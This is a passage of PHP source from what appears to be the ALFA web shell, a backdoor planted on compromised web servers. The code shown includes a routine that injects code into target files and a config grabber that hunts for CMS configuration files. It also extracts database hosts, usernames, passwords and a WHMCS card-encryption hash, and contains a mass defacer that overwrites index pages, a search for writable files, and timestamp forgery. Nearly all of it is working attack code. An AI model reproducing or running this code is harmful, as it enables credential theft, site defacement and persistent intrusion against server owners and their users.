'; @file_put_contents($inject_to, $inject_code . "\n" .@file_get_contents($inject_to)); @file_put_contents($bind_on, $bind_on_code . "\n" .@file_get_contents($bind_on)); echo "success...!"; }else{ echo "failed...!"; } }else{ echo("
Cannot open the target...!
"); } } echo ''; alfafooter(); } function alfaarchive_manager(){ alfahead(); $file = $_POST['alfa2']; if(!file_exists($file)){ $file = $GLOBALS['cwd']; } $rand_id = rand(9999, 999999); echo '

| Archive Manager |

'; echo '
Archive file:

'; if($_POST['alfa5']=='>>'){ //echo __pre(); echo '
PWD:
'; echo '
'; __alfa_open_archive_file($file, $rand_id); echo '
'; } echo '
'; alfafooter(); } function __alfa_open_archive_file($arch, $base_id=0){ try{ $files = array(); $dirs = array(); $archive = new PharData($arch); foreach($archive as $file) { $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname())); if($file->isDir()) { $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify); }else{ $file_size = @filesize($file->getPathname()); $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size); } } function __alfa_open_archive_usort($a, $b){ return strcmp(strtolower($a['name']), strtolower($b['name']))*1; } usort($dirs, "__alfa_open_archive_usort"); usort($files, "__alfa_open_archive_usort"); $files = array_merge($dirs, $files); echo ''; $icon = ''; echo ''; foreach($files as $file){ $icon = ''; if($file["type"] == "dir"){ echo ''; }else{ echo ""; } } echo '
NameSizeModifyActions
'.$icon.'| .. |dir--
'.$icon.'| '.$file["name"].' |dir'.$file["modify"].'-
".$icon."".$file["name"]."".alfaSize($file["size"])."".$file["modify"]."-
'; }catch(Exception $e){ echo("0"); } } function alfaopen_archive_dir(){ $dir = $_POST["alfa1"]; $base_id = $_POST["alfa2"]; __alfa_open_archive_file($dir, $base_id); } function alfaconfig_grabber(){ alfahead(); echo '

| Config Grabber |

'; echo '
Dir: Ext: [ * = all Ext ]

'; $dir = $_POST['alfa2']; $ext = $_POST['alfa3']; if($_POST['alfa5']=='>>'){ echo __pre(); Alfa_ConfigGrabber($dir, $ext); } echo '
'; alfafooter(); } function Alfa_ConfigGrabber($dir, $ext) { $pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i"; $db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php"); if(@is_readable($dir)){ $globFiles = @glob("$dir/*.$ext"); $globDirs = @glob("$dir/*", GLOB_ONLYDIR); $blacklist = array(); foreach ($globDirs as $dir) { if(!@is_readable($dir)||@is_link($dir)) continue; @Alfa_ConfigGrabber($dir, $ext); } foreach ($globFiles as $file){ $filee = @file_get_contents($file); if(preg_match($pattern, $filee)){ echo "
$file [ View file ]
"; } } } } function alfasearcher(){ alfahead(); echo '

| Searcher |

| Find Readable Or Writable Files | | Find Files By Name |

'; if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){ echo '
| Find Readable Or Writable Files |


Method: Dir: Ext: [ * = all Ext ]

'; $dir = $_POST['alfa2']; $ext = $_POST['alfa3']; $method = $_POST['alfa4']; if($_POST['alfa5']=='>>'){ echo __pre(); if(substr($dir,-1)=='/')$dir=substr($dir,0,-1); Alfa_Searcher($dir,trim($ext),$method); } } if($_POST['alfa1']=='str'){ echo '
| Find Files By Name / Find String In Files |


Method: String: Dir: Ext: [ * = all Ext ]

'; $dir = $_POST['alfa2']; $string = $_POST['alfa3']; $ext = $_POST['alfa5']; if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){ echo __pre(); Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']); } } echo '
'; alfafooter(); } function alfaMassDefacer(){ alfahead(); AlfaNum(5,6,7,8,9,10); echo "

| Mass Defacer |

>');return false;\" method='post'>"; echo '
Deface Method: Mass dir: DefPage:

'; $dir = $_POST['alfa1']; $defpage = $_POST['alfa2']; $method = $_POST['alfa3']; $fCurrent = $GLOBALS['__file_path']; if($_POST['alfa4'] == '>>'){ if(!empty($dir)){ if(@is_dir($dir)){ if(@is_readable($dir)){ if(@is_file($defpage)){ if($dh = @opendir($dir)){ echo __pre(); while (($file = @readdir($dh)) !== false){ if($file == '..' || $file == '.')continue; $newfile=$dir.$file; if($fCurrent == $newfile)continue; if(@is_dir($newfile)){ Alfa_ReadDir($newfile,$method,$defpage); }else{ if(!@is_writable($newfile))continue; if(!@is_readable($newfile))continue; Alfa_Rewriter($newfile,$file,$defpage,$method); } } closedir($dh); }else{__alert('Error In OpenDir...');} }else{__alert('DefPage File NotFound...');} }else{__alert('Directory is not Readable...');} }else{__alert('Mass Dir is Invalid Dir...');} }else{__alert('Dir is Empty...');} } echo '
'; alfafooter(); } function Alfa_ReadDir($dir,$method='',$defpage=''){ if(!@is_readable($dir)) return false; if (@is_dir($dir)) { if ($dh = @opendir($dir)) { while(($file=readdir($dh))!==false) { if($file == '..' || $file == '.')continue; $newfile=$dir.'/'.$file; if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage); if(@is_file($newfile)){ if(!@is_readable($newfile))continue; Alfa_Rewriter($newfile,$file,$defpage,$method); } } closedir($dh); } } } function Alfa_Rewriter($dir,$file,$defpage,$m='index'){ if(!@is_writable($dir)) return false; if(!@is_readable($dir)) return false; $defpage=@file_get_contents($defpage); if($m == 'index'){ $indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js'); if(in_array(strtolower($file),$indexs)){ @file_put_contents($dir,$defpage); echo @is_file($dir)?$dir."DeFaced...
" : ''; } }elseif($m=='all'){ @file_put_contents($dir,$defpage); echo @is_file($dir)?$dir." DeFaced...
" : ''; } } function alfaGetDisFunc(){ alfahead(); echo '
'; $disfun = @ini_get('disable_functions'); $s = explode(',',$disfun); $f = array_unique($s); echo '

Disable Functions
';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo '';
echo '';
$i++;
}
echo '
#Func Name
'.$i.''.$s.'
'; echo '
'; alfafooter(); } function Alfa_Create_A_Tag($action,$vals){ $nulls = array(); foreach($vals as $key => $val){ echo '| '.$key.' | '; unset($nulls); } } function Alfa_Searcher($dir, $ext, $method) { if(@is_readable($dir)){ if($method == 'all')$ext = '*'; if($method == 'dirs')$ext = '*'; $globFiles = @glob("$dir/*.$ext"); $globDirs = @glob("$dir/*", GLOB_ONLYDIR); $blacklist = array(); foreach ($globDirs as $dir) { if(!@is_readable($dir)||@is_link($dir)) continue; @Alfa_Searcher($dir, $ext, $method); } switch($method){ case "files": foreach ($globFiles as $file){ if(@is_writable($file)){ echo "$file
"; } } break; case "dirs": foreach ($globFiles as $file){ if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){ echo dirname($file).'
'; $blacklist[] = dirname($file); } } break; case "all": foreach ($globFiles as $file){ echo $file.'
'; } break; } unset($blacklist); } } function AlfaiFrameCreator($f,$width='100%',$height='600px'){ return(''); } class AlfaCURL { public $headers; public $user_agent; public $compression; public $cookie_file; public $proxy; public $path; public $ssl = true; public $curl_status = true; function __construct($cookies=false,$compression='gzip',$proxy=''){ if(!extension_loaded('curl')){$curl_status = false;return false;} $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)'; $this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt'; $this->compression=$compression; $this->proxy=$proxy; $this->cookies=$cookies; if($this->cookies)$this->cookie($this->path); } function cookie($cookie_file) { if (_alfa_file_exists($cookie_file,false)) { $this->cookie_file=$cookie_file; }else{ @fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.')); $this->cookie_file=$cookie_file; @fclose($this->cookie_file); } } function Send($url,$method="get",$data=""){ if(!$this->curl_status){return false;} $process = curl_init($url); curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers); curl_setopt($process, CURLOPT_HEADER, 0); curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_ENCODING , $this->compression); curl_setopt($process, CURLOPT_TIMEOUT, 30); if($this->ssl){ curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false); curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false); } if($this->cookies){ curl_setopt($process, CURLOPT_COOKIEFILE, $this->path); curl_setopt($process, CURLOPT_COOKIEJAR, $this->path); } if($this->proxy){ curl_setopt($process, CURLOPT_PROXY, $this->proxy); } if($method=='post'){ curl_setopt($process, CURLOPT_POSTFIELDS, $data); curl_setopt($process, CURLOPT_POST, 1); curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); } $return = @curl_exec($process); curl_close($process); return $return; } function error($error) { echo "
cURL Error
$error
"; die; } } function getConfigHtml($cms){ $content = ''; $cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF"); $content .= "
Cms:
Path(installed cms/Config):
"; $content .= "
"; return $content; } if (!function_exists('json_encode')){ function json_encode($a=false){ if (is_null($a)) return 'null'; if ($a === false) return 'false'; if ($a === true) return 'true'; if (is_scalar($a)) { if (is_float($a)) { return floatval(str_replace(",", ".", strval($a))); } if (is_string($a)) { static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"')); return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"'; } else return $a; } $isList = true; for ($i = 0, reset($a); $i < count($a); $i++, next($a)) { if (key($a) !== $i) { $isList = false; break; } } $result = array(); if ($isList) { foreach ($a as $v) $result[] = json_encode($v); return '[' . join(',', $result) . ']'; } else { foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v); return '{' . join(',', $result) . '}'; } } } if ( !function_exists('json_decode') ){ function json_decode($json, $array=true){ $comment = false; $out = '$x='; for ($i=0; $i convertBash($out), "path" => $current_path)); } function convertBash($code) { $dictionary = array( '[01;30m' => '', '[01;31m' => '', '[01;32m' => '', '[01;33m' => '', '[01;34m' => '', '[01;35m' => '', '[01;36m' => '', '[01;37m' => '', '[0m' => '' ); $htmlString = str_replace(array_keys($dictionary), $dictionary, $code); return $htmlString; } function alfadoActions(){ $chdir_fals = false; if(!@chdir($_POST['c'])){ $chdir_fals = true; $alfa_canruncmd = _alfa_can_runCommand(true,true); } if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']); if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']); $action = $_POST["alfa3"]; if($action == "permission"){ $perms = 0; $perm = $_POST["alfa2"]; for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } if(@chmod($_POST['alfa1'], $perms)){ echo("done"); }else{ echo("no"); } return; } if($action == "rename" || $action == "move"){ $alfa1_decoded = $_POST['alfa1']; if($chdir_fals){ $_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"]; } $_POST['alfa1'] = trim($_POST['alfa1']); $alfa1_escape = addslashes($_POST["alfa1"]); if($_POST["alfa3"] == "rename"){ $_POST['alfa2'] = basename($_POST['alfa2']); } if(!empty($_POST['alfa2'])){ $cmd_rename = false; if($chdir_fals&&$alfa_canruncmd){ if(_alfa_is_writable($_POST['alfa1'])){ $cmd_rename = true; $alfa1_escape = addslashes($alfa1_decoded); alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'"); } } if(!file_exists($_POST['alfa2'])){ if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){ echo "done"; }else{ echo "no"; } }else{ echo "no"; } } }elseif($action == "copy"){ if(is_dir($_POST["alfa1"])){ $dir = str_replace('//', '/', $_POST["alfa1"]); $dir = explode('/', $dir); if(empty($dir[count($dir) - 1])){ $name = $dir[count($dir) - 2]; }else{ $name = $dir[count($dir) - 1]; } }else{ $name = basename($_POST["alfa1"]); } $dir = dirname($_POST["alfa1"]); if($dir == "."){ $dir = $_POST["c"]."/"; } if(is_file($_POST["alfa1"])){ @copy($_POST["alfa1"], $_POST["alfa2"]); echo("done"); }elseif(is_dir($_POST["alfa1"])){ if(!is_dir($_POST["alfa2"])){ mkdir($_POST["alfa2"], 0755, true); } copy_paste($dir, $name , $_POST["alfa2"] . "/"); echo("done"); } }elseif($action == "modify"){ if( !empty($_POST['alfa1']) ) { $time = strtotime($_POST['alfa1']); if($time){ $touched = false; if($chdir_fals&&$alfa_canruncmd){ alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'"); $touched = true; } if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){ echo 'no'; }else{ echo 'ok'; } } else{ echo 'badtime'; } } } } function alfaget_flags(){ $flags = array(); if(function_exists("curl_version")){ $curl = new AlfaCURL(); $server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]); $flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr); $flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]); if(strpos($flag2, "geoplugin") != false){ $flag = json_decode($flag, true); $flag2 = json_decode($flag2, true); if(!empty($flag['geoplugin_countryCode'])){ $flags["server"]["name"] = $flag['geoplugin_countryName']; $flags["server"]["code"] = $flag['geoplugin_countryCode']; } if(!empty($flag2['geoplugin_countryCode'])){ $flags["client"]["name"] = $flag2['geoplugin_countryName']; $flags["client"]["code"] = $flag2['geoplugin_countryCode']; } } } echo json_encode($flags); } function alfaGetConfig(){ $cms = $_POST['alfa1']; $path = trim($_POST['alfa2']); $config = array( 'wp'=>array('file'=>'/wp-config.php', 'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1) ), 'drupal'=>array('file'=>'/config.php', 'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1), 'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1) ), 'drupal2'=>array('file'=>'/sites/default/settings.php', 'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1), 'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1) ), 'vb'=>array('file'=>'/includes/config.php', 'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3), 'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3) ), 'phpnuke'=>array('file'=>'/config.php', 'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3), 'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3) ), 'smf'=>array('file'=>'/Settings.php', 'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'whmcs'=>array('file'=>'/configuration.php', 'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'joomla'=>array('file'=>'/configuration.php', 'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'phpbb'=>array('file'=>'/config.php', 'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ), 'mybb'=>array('file'=>'/inc/config.php', 'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3), 'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3) ) ); if($cms == "drupal"){ $file = $config[$cms]['file']; $file=$path.$file; if(@is_file($file)||_alfa_is_dir($file,"-e")){ }else{ $cms = 'drupal2'; } } if($cms == "vb"){ $file = $config[$cms]['file']; $file=$path.$file; if(@is_file($file)||_alfa_is_dir($file,"-e")){ }else{ $path .= '/core'; } } $data = array(); $srch_host = $config[$cms]['host'][0]; $srch_user = $config[$cms]['dbuser'][0]; $srch_name = $config[$cms]['dbname'][0]; $srch_pw = $config[$cms]['dbpw'][0]; $prefix = $config[$cms]['prefix'][0]; $file = $config[$cms]['file']; $chost = $config[$cms]['host'][1]; $cuser = $config[$cms]['dbuser'][1]; $cname = $config[$cms]['dbname'][1]; $cpw = $config[$cms]['dbpw'][1]; $cprefix = $config[$cms]['prefix'][1]; if(@is_dir($path)||_alfa_is_dir($path)){ $file=$path.$file; }elseif(@is_file($path)||_alfa_is_dir($path,"-e")){ $file=$path; }else{ return false; } $file = __read_file($file); if($cms == "drupal2"){ $file = preg_replace("/\@code(.*?)\@endcode/s", "", $file); }elseif($cms == "vb"){ $file = preg_replace("/right of the(.*?)BAD!/s", "", $file); } if(preg_match($srch_host, $file, $mach)){ $data['host'] = $mach[$chost]; } if(preg_match($srch_user, $file, $mach)){ $data['user'] = $mach[$cuser]; } if(preg_match($srch_name, $file, $mach)){ $data['dbname'] = $mach[$cname]; } if(preg_match($srch_pw, $file, $mach)){ $data['password'] = $mach[$cpw]; } if(isset($prefix)){ if(preg_match($prefix, $file, $mach)){ $data['prefix'] = $mach[$cprefix]; } } if($cms=='whmcs'){ if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){ $data['cc_encryption_hash'] = $mach[3]; } } echo json_encode($data); } if(empty($_POST['a'])) if(isset($default_action) && function_exists('alfa' . $default_action)) $_POST['a'] = $default_action; else $_POST['a'] = 'FilesMan2';//'FilesMan'; if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a'])) call_user_func('alfa' . $_POST['a']); exit; ?>